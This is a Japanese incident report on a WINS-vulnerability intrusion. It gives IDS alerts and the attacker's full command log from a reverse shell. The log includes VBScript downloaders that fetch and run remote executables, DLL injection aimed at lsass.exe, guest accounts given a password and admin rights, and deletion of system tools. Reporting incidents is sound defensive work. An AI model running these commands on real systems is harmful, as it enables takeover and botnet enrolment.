【インシデント】WINSの脆弱を利用した侵入行為

■攻撃

攻撃はWinsの脆弱性を利用され侵入された。

その後、内部から外部サーバのPort1988へリバースコネクションが張られ、コマンドが実行された。

Severity	Time	Tag Name	Source IP	Source Port	Target IP	Object Name
High	2006-03-16 10:21:29 JST	WINS_PointerHijack	***.217.193.170	1209	192.168.37.180	42
Low	2006-03-16 10:21:29 JST	TCP_Probe_Other	192.168.37.180	2842	***.217.193.170	1988

■リバースコネクション

コネクションを接続する事により、以下のコマンドが実行された。

echo with wscript:if .arguments.count^<2 then .quit:end if >dl.vbe
echo set aso=.createobject("adodb.stream"):set web=createobject("microsoft.xmlhttp") >>dl.vbe
echo web.open "get",.arguments(0),0:web.send:if web.status^>200 then quit >>dl.vbe
echo aso.type=1:aso.open:aso.write web.responsebody:aso.savetofile .arguments(1),2:end with >>dl.vbe
cscript dl.vbe http://***22.10.60/kuo/web/news/new_data/pcshare.exe pcshare.exe
pcshare.exe
pcshare.exe
pcshare.exe
echo iLocal = LCase(WScript.Arguments(1)) >iget.vbe
echo iRemote = LCase(WScript.Arguments(0)) >>iget.vbe
echo Set xPost = CreateObject("Microsoft.XMLHTTP") >>iget.vbe
echo xPost.Open "GET",iRemote,0 >>iget.vbe
echo xPost.Send() >>iget.vbe
echo Set sGet = CreateObject("ADODB.Stream") >>iget.vbe
echo sGet.Mode = 3 >>iget.vbe
echo sGet.Type = 1 >>iget.vbe
echo sGet.Open() >>iget.vbe
echo sGet.Write(xPost.responseBody) >>iget.vbe
echo sGet.SaveToFile iLocal,2 >>iget.vbe
cscript iget.vbe http://***22.10.60/kuo/web/news/new_data/pcshare.exe pcshare.exe
pcshare.exe
pcshare.exe
pcshare.exe
cscript iget.vbe http://***22.10.60/kuo/web/news/new_data/vmmrag32.exe vmmrag32.exe
cscript iget.vbe http://***22.10.60/kuo/web/news/new_data/vmmrag32.dll vmmrag32.dll
vmmrag32.exe -run
vmmrag32.exe -run
vmmrag32.exe -run
cscript iget.vbe http://***22.10.60/kuo/web/news/new_data/vmmreg32.dll vmmreg32.dll
rundll32 vmmreg32,DllRegisterServer lsass.exe
rundll32 vmmreg32,DllRegisterServer lsass.exe
rundll32 vmmreg32,DllRegisterServer lsass.exe
rundll32 vmmreg32,DllRegisterServer lsass.exe
rundll32 vmmreg32,DllRegisterServer lsass.exe
rundll32 vmmreg32,DllRegisterServer lsass.exe
cscript dl.vbe http://***22.10.60/kuo/web/news/new_data/se.exe se.exe
se.exe
se.exe
se.exe
cscript iget.vbe http://***22.10.60/kuo/web/news/new_data/ming.exe c:\winnt\msagent\ming.exe
cscript iget.vbe http://***22.10.60/kuo/web/news/new_data/tftip.exe c:\winnt\msagent\tftip.exe
cscript iget.vbe http://***22.10.60/kuo/web/news/new_data/ftip.exe c:\winnt\msagent\ftip.exe
net user guest /active:yes
net user guest mheh84kg
net localgroup Administrators guest /add
net user TsInternetUser mheh84kg
net user TsInternetUser /active:yes
net localgroup administrators TsInternetUser /add
copy net1.exe c:\winnt\msagent\ming.exe
copy tftp.exe c:\winnt\msagent\mitp.exe
copy ftp.exe c:\winnt\msagent\mip.exe
del c:\net.exe /s
del c:\net1.exe /s
del c:\ftp.exe /s
del c:\tftp.exe /s
del c:\cscript.exe /s
del c:\wscript.exe /s
ipconfig /all
exit
Ctrl+C

■影響

administratorのパスワードが変更され、ログインできなくなります。（せつない）

Botnetのコントロール下に置かれる。